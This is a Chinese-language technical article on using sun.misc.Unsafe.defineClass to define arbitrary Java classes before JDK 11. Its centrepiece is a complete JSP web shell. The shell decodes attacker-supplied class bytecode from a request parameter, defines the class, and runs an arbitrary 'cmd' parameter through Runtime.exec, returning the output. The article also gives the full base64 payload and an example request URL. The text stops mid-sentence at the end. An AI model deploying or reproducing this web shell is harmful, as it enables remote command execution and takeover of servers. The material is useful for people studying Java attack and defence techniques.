Java11之前使用sun.misc.Unsafe定义类对象
上一篇文章写了如何使用Unsafe来创建任意类对象的实例,这篇文章接着写如何使用Unsafe来定义一个类对象。
正常情况下我们可以重写ClassLoader类来实现定义任意的类,但是某些时候我们无法通过自定义ClassLoader来定义类的时候可以使用这种方式来定义一个class,但是前提条件是在JDK11之前的版本。
如果我们需要定义一个名为com.anbai.lingxe.agent.AbTest
的类可以使用如下方式:
com.anbai.lingxe.agent.AbTest
示例代码如下:
java1 2 3 4 5 6 7 8 9 10 11
package com.anbai.lingxe.agent; import java.io.IOException; public class AbTest { public static Process exec(String cmd) throws IOException { return Runtime.getRuntime().exec(cmd); } }
测试jsp代码:
jsp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.BASE64Decoder" %> <%@ page import="sun.misc.Unsafe" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Field" %> <%-- JDK11之前使用Unsafe来定义任意的类对象并通过反射调用类方法 测试方法: curl -i http://localhost:8080/modules/unsafe.jsp?bytes=yv66vgAAADIAHwcAAgEAHWNvbS9hbmJhaS9saW5neGUvYWdlbnQvQWJUZXN0BwAEAQAQamF2YS9sYW5nL09iamVjdAEABjxpbml0PgEAAygpVgEABENvZGUKAAMACQwABQAGAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAH0xjb20vYW5iYWkvbGluZ3hlL2FnZW50L0FiVGVzdDsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAKRXhjZXB0aW9ucwcAEgEAE2phdmEvaW8vSU9FeGNlcHRpb24KABQAFgcAFQEAEWphdmEvbGFuZy9SdW50aW1lDAAXABgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CgAUABoMAA4ADwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAAtBYlRlc3QuamF2YQAhAAEAAwAAAAAAAgABAAUABgABAAcAAAAvAAEAAQAAAAUqtwAIsQAAAAIACgAAAAYAAQAAAAUACwAAAAwAAQAAAAUADAANAAAACQAOAA8AAgAQAAAABAABABEABwAAADIAAgABAAAACLgAEyq2ABmwAAAAAgAKAAAABgABAAAACAALAAAADAABAAAACAAbABwAAAABAB0AAAACAB4%3D&cmd=pwd --%> <% String className = "com.anbai.lingxe.agent.AbTest";// 定义一个不存在的类 Class clazz = null; try { // 反射调用下,如果这个类已经被声明了就没必要再创建了 clazz = Class.forName(className); } catch (ClassNotFoundException e) { // base64解码请求参数后获取这个类的字节码 byte[] bytes = new BASE64Decoder().decodeBuffer(request.getParameter("bytes")); // 通过反射获取到Unsafe实例,因为无法直接通过Unsafe.getUnsafe()来获取实例 Field f = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); f.setAccessible(true); // 使用Unsafe.defineClass()方法来定义一个类 clazz = ((Unsafe) f.get(null)).defineClass(className, bytes, 0, bytes.length, getClass().getClassLoader(), null); } // 上面的逻辑如果没有错误就已经成功的拿到需要创建的类对象了,所以接下来只需要调用类方法就可以了. // 这里调用com.anbai.lingxe.agent.AbTest.exec(cmd)方法,并输出命令执行结果 Process process = (Process) clazz.getMethod("exec", String.class).invoke(null, request.getParameter("cmd")); InputStream in = process.getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A"); out.println(s.hasNext() ? s.next() : ""); %>
请求jsp测试类创建和调用结果:
测试访问:
java1
http://localhost:8080/modules/unsafe.jsp?bytes=yv66vgAAADIAHwcAAgEAHWNvbS9hbmJhaS9saW5neGUvYWdlbnQvQWJUZXN0BwAEAQAQamF2YS9sYW5nL09iamVjdAEABjxpbml0PgEAAygpVgEABENvZGUKAAMACQwABQAGAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAH0xjb20vYW5iYWkvbGluZ3hlL2FnZW50L0FiVGVzdDsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAKRXhjZXB0aW9ucwcAEgEAE2phdmEvaW8vSU9FeGNlcHRpb24KABQAFgcAFQEAEWphdmEvbGFuZy9SdW50aW1lDAAXABgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CgAUABoMAA4ADwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAAtBYlRlc3QuamF2YQAhAAEAAwAAAAAAAgABAAUABgABAAcAAAAvAAEAAQAAAAUqtwAIsQAAAAIACgAAAAYAAQAAAAUACwAAAAwAAQAAAAUADAANAAAACQAOAA8AAgAQAAAABAABABEABwAAADIAAgABAAAACLgAEyq2ABmwAAAAAgAKAAAABgABAAAACAALAAAADAABAAAACAAbABwAAAABAB0AAAACAB4%3D&cmd=pwd
新版本的JDK已经把这个native方法移除了,可以使用使用java.lang.invoke.MethodHandles.Lookup.defineClass来代替,MethodHandles不过是间接的调用了ClassLoader的defineClass罢了,所以就没得玩了,这个Unsafe的defineClass实现代码: